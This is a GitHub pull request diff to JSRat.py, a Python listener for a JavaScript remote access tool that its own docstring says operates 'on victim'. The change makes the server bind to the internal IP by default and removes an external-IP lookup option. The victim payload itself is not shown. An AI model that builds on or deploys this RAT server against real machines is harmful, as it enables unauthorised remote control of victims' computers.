Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modification: Using internal ipv4 address by default #1

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 3 additions & 34 deletions JSRat.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,6 @@
import optparse, os, socket, SocketServer, sys
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from classes.colors import *
import requests # Used for --find-ip option, otherwise not needed

try:
import readline
Expand All @@ -45,29 +44,13 @@ def cls():


def internal_ip():
'Check Internal IP' # Google IP address used...
try:
iip = [(s.connect(('8.8.8.8', 80)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
except:
error("Problem resolving internal IP!")
return "Problem resolving internal IP!"
return iip


def external_ip():
'Check External IP using checkip.dyndns.org'
url = 'http://checkip.dyndns.org/' # Simple External IP Check using dyndns...
try:
headers = { 'User-agent' : 'Python External IP Checker v0.01b' }
res = requests.get( url, headers=headers, timeout=30.0 )
body = str( res.text )
extip = re.search('\d+\.\d+\.\d+\.\d+', body)
except:
error("Problem resolving extrernal IP!")
return "Problem resolving extrernal IP!"
return extip.group()


def jsrat():
"""
Build & Return the core JS code to operate JSRat on victim
Expand Down Expand Up @@ -382,10 +365,9 @@ def main():

# Parse Arguments/Options
parser = optparse.OptionParser(banner(), version="%prog v0.01b");
parser.add_option("-i", "--ip", dest="ip", default=None, type="string", help="IP to Bind Server to (i.e. 192.168.0.69)");
parser.add_option("-i", "--ip", dest="ip", default=None, type="string", help="IP to Bind Server to (default: " + internal_ip() + ")");
parser.add_option("-p", "--port", dest="port", default=None, type="int", help="Port to Run Server on");
parser.add_option("-u", "--url", dest="url", default="/connect", type="string", help="URL to Initiate Client Connection (default: /connect)");
parser.add_option("-f", "--find-ip", action="count", default=0, dest="fip", help="Display Current Internal and External IP Addresses");
parser.add_option("-v", action="count", default=0, dest="verbose", help="Enable Verbose Output");
(options, args) = parser.parse_args();

Expand All @@ -397,23 +379,10 @@ def main():
print;
sys.exit();

if options.fip:
print; status("Checking IP....")
good("Internal IP: %s" % internal_ip())
good("External IP: %s\n\n" % external_ip())
sys.exit();

# Establish IP to bind our web server to (i.e. 127.0.0.1||192.168.0.69||10.10.10.10)
if args and options.ip == None:
print ' ';
error("Missing Argument: --ip IP");
sys.stdout.write(' ');
error("You need to provide the IP to bind server to!\n");
parser.print_help();
print;
sys.exit();
bind_ip = internal_ip();
else:
bind_ip = options.ip;
bind_ip = options.ip

# Establish listner port for our web server (privs needed for low ports < 1024)
if args and options.port == None:
Expand Down